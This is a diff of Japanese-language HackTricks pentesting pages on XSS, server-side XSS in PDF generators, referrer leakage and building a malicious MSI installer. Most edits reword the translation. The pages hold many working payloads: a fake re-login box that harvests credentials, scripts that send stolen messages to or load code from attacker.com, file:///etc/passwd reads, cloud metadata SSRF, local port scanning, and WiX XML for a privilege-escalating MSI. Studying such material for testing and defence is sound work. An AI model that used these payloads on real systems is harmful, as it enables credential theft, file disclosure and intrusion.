```
_応答しているポートは短い時間を示します_ _応答がない場合は長い時間を示します。_
_短い時間は応答しているポートを示します_ _長い時間は応答がないことを示します。_
Chromeで禁止されているポートのリストを[**こちら**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)で、Firefoxで禁止されているポートのリストを[**こちら**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)で確認してください。
### 資格情報を求めるボックス
```markup
### 資格情報を要求するボックス
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### 自動入力パスワードキャプチャ
@ -1404,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
</script>
```
### PostMessageメッセージの盗難
```markup
```html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
@ -1432,7 +1432,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### ブラインドXSSペイロード
You can also use: [https://xsshunter.com/](https://xsshunter.com)
```markup
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
@ -1508,7 +1508,7 @@ xss-in-markdown.md
### SSRFへのXSS
**キャッシュを使用しているサイト**でXSSを取得しましたかこのペイロードを使用して**それをSSRFにアップグレード**してみてください:
**キャッシングを使用しているサイト**でXSSを取得しましたかこのペイロードを使って**それをSSRFにアップグレード**してみてください:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1517,14 +1517,14 @@ xss-in-markdown.md
### 動的に作成されたPDFにおけるXSS
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして任意のJSコードを実行させる**ことを試みることができます。\
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、あなたはこの動作を**悪用**して**サーバーXSS**を引き起こすことができます。
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があるかもしれません
HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があります
{{#ref}}
pdf-injection.md
@ -1532,16 +1532,16 @@ pdf-injection.md
### Amp4EmailにおけるXSS
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで機能を補完したHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内コンテンツと直接対話できるようにします。
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内コンテンツと直接対話できるようにします。
例:[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。
### ファイルのアップロードにおけるXSSsvg
次のようなファイルを画像としてアップロードします([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)から):
```markup
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
@ -1559,13 +1559,13 @@ alert(1);
-----------------------------232181429808--
```
```markup
```html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```
```markup
```html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">

View File

@ -4,24 +4,24 @@
## サーバーサイドXSS動的PDF
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことができます。\
もしウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことができます。\
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。
`<script></script>`タグは常に機能するわけではないので、JSを実行するために別の方法が必要です例えば、`<img`を悪用するなど)。\
また、通常のエクスプロイトでは、作成されたPDFを**見る/ダウンロードすることができる**ため、**JSを介して書いたもの**(例えば、`document.write()`を使用をすべて見ることができます。しかし、作成されたPDFを**見ることができない**場合、**情報を抽出するためにウェブリクエストを行う必要がある**でしょう(ブラインド)。
注意してください、`<script></script>`タグは常に機能するわけではないので、JSを実行するために別の方法が必要です例えば、`<img`を悪用するなど)。\
また、通常のエクスプロイトでは、作成されたPDFを**見る/ダウンロードすることができる**ので、JSを介して**書いたもの**(例えば、`document.write()`を使用をすべて見ることができます。しかし、作成されたPDFを**見ることができない**場合、**情報を抽出するためにウェブリクエストを行う必要がある**でしょう(ブラインド)。
### 人気のPDF生成
- **wkhtmltopdf**は、HTMLとCSSをPDF文書に変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能で、幅広いアプリケーションにアクセスできます。
- **TCPDF**は、PDF生成のためのPHPエコシステム内で堅牢なソリューションを提供します。画像、グラフィックス、暗号化を処理でき、複雑な文書を作成するための多様性を示しています。
- Node.js環境で作業している人には、**PDFKit**が実行可能なオプションを提供します。HTMLとCSSから直接PDF文書を生成でき、ウェブコンテンツと印刷可能なフォーマットの橋渡しをします。
- Java開発者は、PDF作成を促進するだけでなく、デジタル署名やフォーム入力などの高度な機能サポートするライブラリ**iText**を好むかもしれません。その包括的な機能セットは、安全でインタラクティブな文書を生成するのに適しています。
- Java開発者は、PDF作成を促進するだけでなく、デジタル署名やフォーム入力などの高度な機能サポートするライブラリ**iText**を好むかもしれません。その包括的な機能セットは、安全でインタラクティブな文書を生成するのに適しています。
- **FPDF**は、シンプルさと使いやすさで際立つ別のPHPライブラリです。広範な機能を必要とせず、PDF生成に対して簡単なアプローチを求める開発者向けに設計されています。
## ペイロード
### 発見
```markup
```html
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
@ -36,7 +36,7 @@
### SVG
このSVGペイロード内で、前述のペイロードのいずれかを使用できます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスするiframeが例として挙げられています。
```markup
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
@ -60,10 +60,10 @@ alert(1);
</script>
</svg>
```
他の**SVGペイロード**は[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)で見つけることができます。
他の多くの**SVGペイロード**は[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)で見つけることができます。
### パス開示
```markup
```html
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing -->
### 外部スクリプトを読み込む
この脆弱性を悪用する最も適切な方法は、脆弱性を利用してボットにあなたがローカルで制御するスクリプトを読み込ませることです。そうすれば、ペイロードをローカルで変更し、ボットが毎回同じコードでそれを読み込むようにすることができます。
```markup
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
@ -82,7 +82,7 @@ if not, you will at least have wich path the bot is accessing -->
> `file:///etc/passwd``http://169.254.169.254/latest/user-data` に変更して、**外部ウェブページにアクセスを試みてください (SSRF)**。
>
> SSRFが許可されているが、興味深いドメインやIPに**到達できない**場合は、[このページを確認してバイパスの可能性を探ってください](../ssrf-server-side-request-forgery/url-format-bypass.md)。
```markup
```html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
</script>
```
```markup
```html
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
@ -100,7 +100,7 @@ xhzeem.send();
</script>
```
```markup
```html
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
@ -112,11 +112,11 @@ xhzeem.send();
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
```markup
```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### ボット遅延
```markup
```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
@ -129,7 +129,7 @@ time += 500;
<img src="https://attacker.com/delay">
```
### ポートスキャン
```markup
```html
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
@ -147,11 +147,11 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/index.html)
この脆弱性は、スクリプトが外部リソースを読み込むことができるため、非常に簡単にSSRFに変換できます。だから、これを利用してみてください(メタデータを読み取る?)。
この脆弱性は、スクリプトが外部リソースを読み込むことができるため、非常に簡単にSSRFに変換できます。ですので、これを悪用してみてください(メタデータを読み取る?)。
### Attachments: PD4ML
PDFのために**添付ファイルを指定する**ことを許可するHTML 2 PDFエンジンがいくつかあります。例えば、**PD4ML**です。この機能を悪用して、**任意のローカルファイルをPDFに添付**することができます。\
**PD4ML**のようなPDF用のHTML 2 PDFエンジンがいくつかあり、**PDFの添付ファイルを指定する**ことができます。この機能を悪用して、**任意のローカルファイルをPDFに添付**することができます。\
添付ファイルを開くために、**Firefoxでファイルを開き、クリップシンボルをダブルクリックして**添付ファイルを新しいファイルとして**保存**しました。\
burpで**PDFレスポンスをキャプチャ**することも、PDF内に**クリアテキストで添付ファイルを表示**するはずです。
```html

View File

@ -6,11 +6,11 @@
## 機密情報の漏洩
ウェブページ内のどこかに機密情報がGETリクエストパラメータに存在する場合、そのページが外部ソースへのリンクを含んでいるか、攻撃者がユーザーに攻撃者が制御するURLを訪問させることができるソーシャルエンジニアリング場合、最新のGETリクエスト内の機密情報を抽出することができる可能性があります。
ウェブページ内のどこかに機密情報がGETリクエストパラメータに存在する場合、そのページが外部ソースへのリンクを含んでいるか、攻撃者がユーザーに攻撃者が制御するURLを訪問させることができるソーシャルエンジニアリング場合、最新のGETリクエスト内の機密情報を抽出することが可能です。
## 緩和策
ブラウザに**リファラーポリシー**を遵守させることで、機密情報が他のウェブアプリケーションに送信されるのを**回避**することができます:
ブラウザに**Referrer-policy**を遵守させることで、機密情報が他のウェブアプリケーションに送信されるのを**回避**することができます:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
@ -23,13 +23,13 @@ Referrer-Policy: unsafe-url
```
## カウンター緩和
このルールはHTMLメタタグを使用して上書きできます攻撃者はHTMLインジェクションを悪用する必要があります):
```markup
このルールはHTMLメタタグを使用してオーバーライドできます攻撃者はHTMLインジェクションを利用する必要があります):
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## 防御
GETパラメータやURLのパスに機密データを入れないでください。
決してGETパラメータやURLのパスに機密データを入れないでください。
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
{{#include ../../banners/hacktricks-training.md}}
# 悪意のあるMSIの作成とルート権限の取得
# 悪意のあるMSIの作成とルートの取得
MSIインストーラーの作成はwixtoolsを使用して行われ、特に[wixtools](http://wixtoolset.org)が利用されます。代替のMSIビルダーも試みられましたが、この特定のケースでは成功しませんでした。
wix MSIの使用例を包括的に理解するためには、[このページ](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)を参照することをお勧めします。ここでは、wix MSIの使用を示すさまざまな例を見つけることができます。
目的は、lnkファイルを実行するMSIを生成することです。これを達成するために、のXMLコードを使用することができます[xml from here](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)
```markup
目的は、lnkファイルを実行するMSIを生成することです。これを達成するために、以下のXMLコードを使用することができます[xml from here](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)
```html
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
@ -40,7 +40,7 @@ fail_here
```
パッケージ要素には、インストーラーのバージョンを指定する InstallerVersion や、パッケージが圧縮されているかどうかを示す Compressed などの属性が含まれていることに注意することが重要です。
作成プロセスでは、wixtools のツールである candle.exe を利用して、msi.xml から wixobject を生成します。次のコマンドを実行する必要があります:
作成プロセスでは、wixtools のツールである candle.exe を利用して、msi.xml から wixobject を生成します。次のコマンドを実行する必要があります
```
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
```